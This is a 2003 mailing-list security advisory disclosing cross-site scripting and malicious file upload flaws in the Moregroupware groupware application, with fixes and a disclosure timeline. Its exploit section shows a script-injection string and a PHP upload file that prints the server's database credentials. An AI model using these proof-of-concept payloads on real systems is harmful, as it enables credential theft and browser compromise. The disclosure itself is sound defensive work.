[KSA-002] Multiple Vulnerabilities In Moregroupware

From: François SORIN (francois.sorin@security-corporation.com)
Date: Thu Jun 26 2003 - 09:38:10 PDT

  • Next message: Paul Starzetz: "Linux 2.4.x execve() file read race vulnerability"

    PROGRAM: Moregroupware
    HOMEPAGE: http://www.moregroupware.com/
    VULNERABLE VERSIONS: 0.6.7 and prior ?
    RISK: Low/Medium
    IMPACT: Cross Site Scripting
    RELEASE DATE: 2003-06-26
    
    =================================================
    TABLE OF CONTENTS
    =================================================
    
    1..........................................................DESCRIPTION
    2..............................................................DETAILS
    3.............................................................EXPLOITS
    4............................................................SOLUTIONS
    5...........................................................WORKAROUND
    6..................................................DISCLOSURE TIMELINE
    7..............................................................CREDITS
    8...........................................................DISCLAIMER
    9...........................................................REFERENCES
    10............................................................FEEDBACK
    
    1. DESCRIPTION
    =================================================
    
    "Some of the features that are worth being mentioned:
    
    - Contact/address management
    - Webmail
    - full-featured Calendar
    - ToDo management
    - News
    - Project management
    - Some preferences for each module
    - Skins based on Cascading Style Sheets"
    
    (direct quote from http://www.moregroupware.com)
    
    
    2. DETAILS
    =================================================
    
    - Cross Site Scripting :
    
    Many exploitable bugs was found in Moregroupware which cause script
    execution on client's computer.
    
    This kind of attack known as "Cross-Site Scripting Vulnerability"
    is present in many section of the web site, an attacker can input
    specially crafted links and/or other malicious scripts.
    
    - Upload files :
    
    When you upload a file on the server you can upload some html files or
    php files. You can grab or change some informations with this
    possibility.
    
    
    3. EXPLOIT
    =================================================
    
    - Cross Site Scripting (many pages are infected) :
    
    http://[target]/moregroupware/modules/contact/index.php?
    
    You can add a contact and put <script>alert();</script>, alert(); can be
    replaced by a malicious script.
    
    A dialog box is opened on the client browser.
    
    Impact is relatively low, as this is a closed group application.
    People having access should be 'trustable'.
    
    
    - Upload files :
    
    You can upload a file like file.php:
    <?php
    
    include('../../../config.inc.php');
    
    echo $appconf['dbvendor'];
    echo $appconf['dbhost'];
    echo $appconf['dbuser'];
    echo $appconf['dbpassword'];
    echo $appconf['dbname'];
    ?>
    
    And access it directly :
    http://[target]/moregroupware/modules/files/store/file.php
    
    This file is executed on the server and the information is divulged
    to the hacker.
    
    
    4. SOLUTIONS
    =================================================
    
    - Cross Site Scripting :
    Use the function php eregi_replace to filter the input data.
    
    
    5. WORKAROUND
    =================================================
    
    - Upload files :
    Secure this module by replacing file extension or specify to the web
    serveur not to execute this files. A better way for this problem is
    to set permissions on the store/ directory so that only the webserver can
    read the files. A simple fix that actually works.
    
    
    6. DISCLOSURE TIMELINE
    =================================================
    
    06/20/2003 Vendor notified
    06/24/2003 Response from the vendor and corrections added
    06/25/2003 Security Corporation clients notified
    06/26/2003 Public disclosure
    
    
    7. CREDITS
    =================================================
    
    Discovered by François SORIN <francois.sorin@security-corporation.com>
    
    
    8. DISLAIMER
    =================================================
    
    The information within this paper may change without notice. Use of
    this information constitutes acceptance for use in an AS IS condition.
    There are NO warranties with regard to this information. In no event
    shall the author be liable for any damages whatsoever arising out of
    or in connection with the use or spread of this information. Any use
    of this information is at the user's own risk.
    
    
    9. REFERENCES
    =================================================
    
    - http://www.security-corporation.com/articles-20030626-003.html
    
    
    10. FEEDBACK
    =================================================
    
    Please send suggestions, updates, and comments to:
    
    Kereval
    Immeuble Le Gallium
    80, avenue des Buttes de Coesmes
    35700 RENNES - FRANCE
    infoat_private
    



    This archive was generated by hypermail 2b30 : Thu Jun 26 2003 - 10:37:27 PDT